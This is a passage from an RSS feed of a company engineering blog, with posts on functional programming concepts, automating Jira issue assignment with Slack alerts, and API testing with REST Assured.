0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> Overall it is a great tool that is stuffed with a lot of useful features which can only make a QA guy’s life easier. Using these features we can make a sturdy test suite that can have more and more test cases without any limitations. </content:encoded><author>Mohit Khanna</author></item><item><title><![CDATA[Why functional programming is needed]]></title><description><![CDATA[A Little History Having a functional approach to a problem does not kick off the adventurous journey of learning a new language, instead, it…]]></description><link>https://engineering.wingify.com//posts/why-functional-programming-is-needed/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/why-functional-programming-is-needed/</guid><pubDate>Thu, 15 Dec 2022 00:00:00 GMT</pubDate><content:encoded><h2 id="a-little-history" style="position:relative;"><a href="#a-little-history" aria-label="a little history permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>A Little History</h2> Having a functional approach to a problem does not kick off the adventurous journey of learning a new language, instead, it is more convoluted in the form of thinking offbeat than usual. Mathematicians and computer science researchers comprehended functional approach rather late than object orientation but somehow they won the battles and persuaded engineers and developers in embedding their ideas into the modern classes of programming languages. The reason why it is adored so much in academia are: <ul> <li>enhancing visualisation and fine clarity</li> <li>fitness to the desired level of abstractions</li> </ul> Language supporting FP is JVM-based, .NET platform-based, JS, Rust, etc. <blockquote> All race conditions, deadlock conditions, and concurrent update problems are due to mutable variables. <cite>Robert C. Martin, Clean Architecture</cite> </blockquote> <h2 id="fp-paradigm" style="position:relative;"><a href="#fp-paradigm" aria-label="fp paradigm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>FP Paradigm</h2> The rationalization of the term moving parts is a change of states, more or less, controlling who can make changes to states. Visibility and accessibility are some of the approaches, OOP provides to safeguard changes. OOP tries to minimize the mutable states rather than providing levers, switches and buttons to control them. Researchers believe that fewer potentially error-prone features are in the language, it is less likely for developers to make errors. The building block of the functional approach is to have less mutable states. <blockquote> Object orientation makes code understandable by encapsulating moving parts. FP makes code understandable by minimizing moving parts. <cite>Michael Feathers</cite> </blockquote> <h2 id="abstraction" style="position:relative;"><a href="#abstraction" aria-label="abstraction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Abstraction</h2> The dependency inversion of the SOLID principle, gave a breakthrough to Clojure language, the <code class="language-text">map()</code> operation gets a performance boost, parallelize simultaneously to multiple cores. The idea is to hide low-level details from high-level computations. Imperative style chips in towards a problem holistically with commands, mutating variables, and producing side effects, e.g loops. Lessening mutation, piping data through transformers, and letting a stream of events, and data pass through mathematical formulas is how FP makes its way in solving problems, exposing less and less of what is under the hood. The programmer only sees high-order functions, completely (not 100% though) unaware of why and how of what going under the carpet. Some examples are: <code class="language-text">array_walk</code>, <code class="language-text">array_filter</code>, <code class="language-text">array_reduce</code>, etc. Benefits of Higher Level of Abstraction <ul> <li>abstract mathematical model allows faster experimentation</li> <li>processing fewer items if it does not change the outcome</li> <li>parallelization and optimizations</li> <li>allow run time to be independent of any programmers dependencies</li> </ul> <blockquote> The psychological profile of a programmer is mostly the ability to shift levels of abstraction, from low level to high level. To see something in the small and to see something in the large. When you're writing a program, you're saying, "Add one to the counter," but you know why you're adding one to the counter. You can step back and see a picture of the way a process is moving. Computer scientists see things simultaneously at the low level and the high level. <cite>Donald E. Knuth</cite> </blockquote> <h2 id="memoization" style="position:relative;"><a href="#memoization" aria-label="memoization permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Memoization</h2> Memoization, a relic of Dynamic Programming (DP), is a fancy way of saying caching repeating values. Once, it was way of designing an algorithm, on which an entire category of the algorithm is based, to name a few including Fibonacci Sequence, Tower of Hanoi and Google's favourite interview problem "Egg Dropping Puzzle". As computer researchers and scientist engineers embrace FP, Memoization is now a built-in language itself. Not to say, abstraction plays a role here. Though, for memoization to work, the programmer's functions must be pure. <blockquote> A pure function has no side effects: it references no other mutable class fields, does not set any values other than the return value, and relies only on the parameters for input. <cite>Wikipedia</cite> </blockquote> Many modern languages support memoization, including <code class="language-text">Groovy</code>, custom packages, and libs are available for other languages for same. Here is one example: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text"> if (array_key_exists($key, $this-&gt;cache)) { return $this-&gt;cache[$key]; } $result = call_user_func($compute); $this-&gt;cache[$key] = $result; return $result;</code></pre></div> Tip Memoization is so loved at Wingify that there have been multiple instances where memoization-related technical questions have been asked. <blockquote> When asked, “What are the advantages of writing in a language without side effects?” Simon Peyton Jones, co-creator of Haskell, replied, “You only have to reason about values and not about state. If you give a function the same input, it’ll give you the same output, every time. This has implications for reasoning, for compiling, for parallelism.” <cite>The book, Masterminds of Programming</cite> </blockquote> <h2 id="lazy-evaluation" style="position:relative;"><a href="#lazy-evaluation" aria-label="lazy evaluation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lazy Evaluation</h2> Evaluate when needed, is a technique in which the evaluation of an expression is delayed until it is needed. This can be useful in situations where an expression is computationally expensive to evaluate or where the expression may not be needed at all. Lazy evaluation modularises a program as a generator, letting choose appropriate outcome when a large result set is available as computation. <blockquote> Lazy evaluation is a powerful technique for improving the performance of programs. It allows the programmer to define the order in which expressions are evaluated, and to delay the evaluation of expressions until they are needed. This can save computational resources and make code easier to read and understand. <cite>John Hughes, computer scientist and functional programming researcher</cite> </blockquote> Here is an example of lazy evaluation: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">// A function that returns a closure (an anonymous function) // that returns the result of the expensive operation function getLazyResult() { return function() { return expensiveOperation(); }; } // The closure is created but the expensiveOperation is not yet executed $lazyResult = getLazyResult(); // The expensiveOperation is only executed when the closure is called $result = $lazyResult();</code></pre></div> <h2 id="fp-data-structures" style="position:relative;"><a href="#fp-data-structures" aria-label="fp data structures permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>FP Data Structures</h2> Functional languages expose lesser data structures with many operations in comparison to OOP. The example below is a functional utility class, and it has only one data item, an array. The trait in class add a whole bunch of operations on the same array of items. <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">class Collection { use HasFilter, HasMap, HasReduce, HasEach; protected $items = []; public function __construct($items = null) { if (is_array($items)) { $this-&gt;items = $items; } else if ($items instanceof Collection) { $this-&gt;items = $items-&gt;items(); } else { $this-&gt;items = is_null($items) ? [] : array($items); } }</code></pre></div> Strictly typed languages ask too much from developers, language demands that programmers must transform the problem into the rigid structure of the language itself, ultimately leading developers in creating more data structures to accommodate that problem. At least that is how early language is designed and to this point, it seems fair. The rise of functional language and its support gave developers freedom in terms of language malleability which even developers have never thought of. Surprised? Ruby's internal DSL using language metaprogramming, gave developers the weapon of mass problem solving, letting them solve any critical problem in the way they like. It minimizes the need for data structures at the same time allows developers to adopt any behaviour change. <blockquote> It is better to have 100 functions operate on one data structure than 10 functions on 10 data structures. <cite>Alan Perlis</cite> </blockquote> <h2 id="fp-error-handling" style="position:relative;"><a href="#fp-error-handling" aria-label="fp error handling permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>FP Error Handling</h2> OOP languages use built-in exceptions to handle errors and run time issues, but the core philosophy of FP is different when it comes to disrupting the execution flow. FP stick to referential transparency, meaning errors and exceptions are handled with the help of returned values. It can say that when it comes to errors, FP tends to favour the imperative paradigm. <blockquote> Error handling in functional programming is typically done through the use of monads, which are structures that allow us to represent computations that may fail or have side effects. Monads provide a way to abstract away error handling and side effects, making it easier to reason about and write correct code. <cite>Haskell Programming from First Principles</cite> </blockquote> <h2 id="fp-code-reuse" style="position:relative;"><a href="#fp-code-reuse" aria-label="fp code reuse permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>FP Code Reuse</h2> Every programmer wants reusable code, right? why not functional programmers? But FP uses different building blocks in problem-solving, and code re-usability becomes a little tricky. So what is the difference? OOP and imperative codes create a relationship between objects but FP create a relationship between mechanism (actions). These actions can be shared or re-used. FP treats functions as first-class entities in language. <blockquote> In a programming language, a function is a first-class entity if it can be stored in a variable, passed as an argument to a function, or returned as a result of a function. <cite>The C Programming Language</cite> </blockquote> <h2 id="fp-immutability" style="position:relative;"><a href="#fp-immutability" aria-label="fp immutability permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>FP Immutability</h2> It simply means you cannot change a variable once you assign something to it, sounds contradictory? isn't? Language like <code class="language-text">Erlang</code> has variable immutability in its core. Less moving parts mean fewer things to think about and hence less chance of making errors. Learning immutability is the first thing to think like a functional programmer. <blockquote> Immutability is a key concept in software development, as it allows us to write code that is more predictable and easier to understand. It also has the added benefit of making our programs more scalable and easier to parallelize. <cite>Introduction to the Art of Programming Using Scala</cite> </blockquote> <h2 id="the-takeaway" style="position:relative;"><a href="#the-takeaway" aria-label="the takeaway permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Takeaway</h2> Find these in code <code class="language-text">actions</code>, <code class="language-text">calculations</code>, and <code class="language-text">data</code> <ul> <li>turn code into reusable and testable by extracting calculations from actions</li> <li>design actions by replacing implicit inputs and outputs with explicit ones</li> <li>implementing immutability to make reading data into a calculation</li> </ul> <hr> To know more about how Wingify uses FP, feel free to comment. <hr> <h2 id="popular-functional-languages-source-wikipedia" style="position:relative;"><a href="#popular-functional-languages-source-wikipedia" aria-label="popular functional languages source wikipedia permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Popular Functional Languages (source: Wikipedia)</h2> <ul> <li>Clojure (<a href="https://clojure.org">https://clojure.org</a>)</li> <li>Elixir (<a href="https://elixir-lang.org">https://elixir-lang.org</a>)</li> <li>Swift (<a href="https://swift.org">https://swift.org</a>)</li> <li>Kotlin (<a href="https://kotlinlang.org">https://kotlinlang.org</a>)</li> <li>Haskell (<a href="https://haskell.org">https://haskell.org</a>)</li> <li>Erlang (<a href="https://erlang.org">https://erlang.org</a>)</li> <li>Elm (<a href="https://elm-lang.org">https://elm-lang.org</a>)</li> <li>Scala (<a href="https://scala-lang.org">https://scala-lang.org</a>)</li> <li>F# (<a href="https://fsharp.org">https://fsharp.org</a>)</li> <li>Rust (<a href="https://rust-lang.org">https://rust-lang.org</a>)</li> <li>PureScript (<a href="https://www.purescript.org">https://www.purescript.org</a>)</li> <li>Racket (<a href="https://racket-lang.org">https://racket-lang.org</a>)</li> <li>Reason (<a href="https://reasonml.github.io">https://reasonml.github.io</a>)</li> </ul></content:encoded><author>Ganesh Gupta</author></item><item><title><![CDATA[Automating Tedious Managerial Tasks]]></title><description><![CDATA[Client issue assignment and tracking. We at Wingify take our client issues very seriously and have built processes to get the desired…]]></description><link>https://engineering.wingify.com//posts/Automating_Managerial_Tasks/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/Automating_Managerial_Tasks/</guid><pubDate>Mon, 28 Nov 2022 00:00:00 GMT</pubDate><content:encoded><div style="text-align:center; margin: 10px; display: none"> <img src="/images/2022/12/qaWingify.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <h1 id="client-issue-assignment-and-tracking" style="position:relative;"><a href="#client-issue-assignment-and-tracking" aria-label="client issue assignment and tracking permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Client issue assignment and tracking.</h1> We at Wingify take our client issues very seriously and have built processes to get the desired resolutions in the fastest and most efficient ways possible. Needless to say, the QA engineers are at the heart of this process. We follow a process where the QA team is the first in line to diagnose, debug and revert to all client issues passed on by the customer support team. Additionally, we have defined a 4-hour SLA for the first response to all client issues. As the process was started, the round-robin assignment was done manually by a senior member of the team, who took into account some parameters: people on leaves and area-wise assignment bias, among other variables while assigning the issues. The drawbacks to the manual process are quite obvious: <ul> <li>A person can check for issues (in Jira) only a few times a day, which means issues remain un-assigned for hours putting our desired SLA at risk.</li> <li>The bandwidth of a senior team member is blocked - He has to keep an eye out on new issues logged, who all are on leave, and maintain a sheet with the history of the assignment so he can assign in a round-robin.</li> </ul> <h2 id="the-solution-when-its-tedious-and-mundane---automate-it" style="position:relative;"><a href="#the-solution-when-its-tedious-and-mundane---automate-it" aria-label="the solution when its tedious and mundane automate it permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The solution: When it's tedious and mundane - Automate it!</h2> We managed to automate this task by automating the below steps and now have an automated system for client-issue assignments. It has helped us increase efficiency by consistently meeting our SLAs and helping free the bandwidth of team members who can now focus on more impactful work. Step 1: The script runs querying (Jira) every few minutes for any new client issues raised. – We use Jenkins for the scheduled runs. Step 2: Parses the response of Jira query APIs and fetches a list of open issues and their details like summary and description of the tickets. – We use a framework that is essentially a wrapper over RestAssured (explained in some detail later in the article.) Step 3: Filter out issues in case they are already assigned and being worked upon. Step 4: Figure out who the issue is to be assigned to based on: <ul> <li>Certain assignment biases, the script figures out based on various Jira fields. </li> <li>Skip team members on leave.</li> <li>A basic round-robin system among the eligible team members.</li> </ul> Step 5: Communicate by tagging the assignee and the issue ID on a pre-defined Slack channel. <h2 id="now-that-you-know-what-we-do-lets-get-deeper-into-how-we-do-it" style="position:relative;"><a href="#now-that-you-know-what-we-do-lets-get-deeper-into-how-we-do-it" aria-label="now that you know what we do lets get deeper into how we do it permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Now that you know what we do, let's get deeper into how we do it.</h2> We have open-sourced our Rest Assured framework which can be accessed here: <a href="https://github.com/wingify/rest-api-testing-framework">https://github.com/wingify/rest-api-testing-framework</a> In the framework you can notice the following useful components: <ol> <li>The Rest Assured libraries.</li> <li> Google Sheets Utils - This is where the functionality to interact with Google Sheets using Google Sheet APIs is written. We use Google Sheets to maintain the attendance roster, assignment history, and the round-robin flow. The advantage of using Google Sheets over other options like CSV, JSON, etc. is that anyone can update details without having to access the code base. <div style="text-align:center; margin: 10px;"> <img src="/images/2022/11/GoogleUtil.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> The image shows a simple reusable function created to write data into Google Sheets. </li> <li> Jira Utils - Contains functionalities to pull data from Jira using Jira Query Language (JQL) queries and parse the responses. <div style="text-align:center; margin: 10px;"> <img src="/images/2022/11/JiraUtil.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> The image shows a reusable function created to fetch the results of any JQL query. </li> <li> Slack Utils - Has code to push customized messages as alerts to Slack channels tagging the assignees. <div style="text-align:center; margin: 10px;"> <img src="/images/2022/11/SlackUtils.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> The image shows a reusable function created to push messages to Slack channels. </li> <li>The Test Class - Test NG annotations are used to create groups for various alerts, this gives us the ability to schedule our builds flexibly. For instance, the 'client issue debugging' alert runs every 30 mins, while 'long pending issues' are run just twice a week.</li> </ol> <h1 id="alert-for-long-open-client-issues" style="position:relative;"><a href="#alert-for-long-open-client-issues" aria-label="alert for long open client issues permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Alert for long-open client issues</h1> We have leveraged the above code for another solution – Alert the team about long-pending client issues. Since the implementation is already shared in the git repo. We will just touch upon the process in this article. Classification: Any issue that has been open for more than 7 days is classified as a "long pending issue". There are certain exceptions to this rule, for example, an issue that is pending confirmation on the client's end. – These exceptions are filtered out at the Jira Query level itself using various Jira fields and their values. Alert format: Our script is executed twice a week and shares a list of these issues on Slack and also tags the assignees. This alert helps the team members as a reminder as they might be involved in several tasks in a given sprint. Benefits: It has helped us turn the team's focus to these issues and we have seen the number of these long pending issues go down since the alert was put in place. And the best part is – it requires no manual intervention and hence, happens like clockwork. Once you have this framework in place, you can leverage it to pull out any data from Jira, create alerts and automated reports which may suit your use case. For instance, we are building a "possible SLA miss" alert, and a "quality trend" report using the framework mentioned above. We will keep the repository updated as and when we roll out the new reports. We would also encourage contributions to the repo in case anyone wishes to help us further improve this capability. Also, do let us know in the comments section below if you are using a similar solution in your organization albeit with a different approach. </content:encoded><author>Kandeel Chauhan</author></item><item><title><![CDATA[Rest Assured - Journey to the end to end API automation]]></title><description><![CDATA[REST Assured is a Java-based library, one of the most popular libraries to test RESTful Web Services, and is used to perform testing and…]]></description><link>https://engineering.wingify.com//posts/restassured-journey-to-e2e-api-automation/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/restassured-journey-to-e2e-api-automation/</guid><pubDate>Mon, 31 Oct 2022 00:00:00 GMT</pubDate><content:encoded><div style="text-align:center; margin: 10px; display: none"> <img src="/images/2022/12/qaWingify.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <a href="https://rest-assured.io/">REST Assured</a> is a Java-based library, one of the most popular libraries to test RESTful Web Services, and is used to perform testing and validation of Rest Services with simplicity. We can use any Java IDE for writing code to test our API. REST Assured is helpful in writing small Unit tests as well as large automation frameworks, where we can create test cases for large APIs. We can create highly customizable HTTP Requests to send to the Restful server. This enables us to test a wide variety of Request combinations and in turn test different combinations of core business logic. What are the Usecases and Benefits of API Automation? Use-Cases: Good API Coverage We’ve automated the end-to-end flow of our Application using REST Assured, we’ve covered test data creation and test case validation, so we’ve got a good API coverage that helps us to ensure the basic flow is maintained throughout. Once the latest feature is deployed, after manual testing we add the changes to our API test suite and keep it up to date so that it'll help us in regressive testing also in case of any updates of the same feature, we run automation test during staging, make necessary additions and ensure the flow of the application, which makes our API framework robust. Separation b/w Frontend and Backend Testcases Frontend testing includes the verification of the application and checks the performance of application whether it is working according to the requirement whereas Backend testing execution makes sure that the data is continuing as there is no performance hit, the deciding factor here are as follows : <ul> <li>The tester should ask “Am I testing the UI, or Am I testing through the UI ?". If the answer is the latter, it should be covered in API.</li> <li>We add negative test cases through API automation and validate the status code.</li> <li>Logic which is in Frontend Codebase goes into FE/UI test suite and the logic from the Backend Codebase goes to the API test suite.</li> </ul> Removal of Runscope dependency Before REST Assured we were using Runscope for API testing, it was good, but it had certain pitfalls primarily because it was hard to maintain, difficult to configure for running the test cases, and due to the complexity it came up with, the contribution from new team members was low, Whereas REST Assured is free, Open Sourced, easy to understand and contribute which made us migrate our test-cases to it, REST Assured solved the problem and increased our overall performance. <a href="https://github.com/wingify/rest-api-testing-framework">REST API Testing Open Source Framework</a> Salient features are as follows : <ul> <li>It is Wingify’s open source framework that provides solution to automate Rest API Test cases at a go.</li> <li>Gives flexibility to the user to use the core structure of this framework, to automate users’ REST APIs by adding his own code on top of it. </li> <li>It consists of Basepackage, which has 2 classes, BaseApi and BaseTest. BaseApi class contains all the wrapper methods over RestAssured and BaseTest class contains the pre-requisite and post requisites for our test classes.</li> <li>This framework provides user the capability to log Curls for all your API requests which can help you debug incase of any issues.</li> <li>It also provides listeners and reports for better understanding of your test results.</li> </ul> Language independent The exchange of data in APIs takes place in a structured format of either XML or JSON, which makes it language-independent and gives us the flexibility to choose any language for automation, we at Wingify are using JSON because it is faster and designed specifically for data interchange. Benefits: Ease in automation API automation is used to monitor the backend of an application. API testing is effectively automated because the endpoints and request parameters are less likely to change unless there is a major change in business logic. Automation reduces manual efforts during regression testing and results in a significant amount of time-saving. As a result, the testing process is faster with better coverage. This culminates in time and resource-saving. Overall, it translates into the reduced project costs. Improved test coverage API test automation helps in covering a high number of test cases, functional and non-functional. Also, for a complete scenario check API testing requires running both, positive and negative tests. Since API testing is a data-driven approach, various combinations of data inputs can be used to test such test cases, we use ‘dataProviders’ annotations for inputting data of wide range. This gives good test coverage overall. Good test coverage helps in identifying and managing defects in a larger scenario. As a result, minuscule bugs make their way to production, thus resulting in a higher-quality product. We've 95% test cases coverage with API Automation, which gives us the confidence to push failures as alerts which couldn't have been possible with Protractor/ FE Automation due to flakiness. Easy to maintain API tests are usually deemed stable and major changes are done mainly when business logic is changed. The frequency and amount of changes are comparatively less. This means less rework in rewriting test cases in event of any changes. This is in sharp contrast to UI testing, which requires rework at many levels in case of any changes. API tests can be reused during testing, thus, reducing the overall time quantum 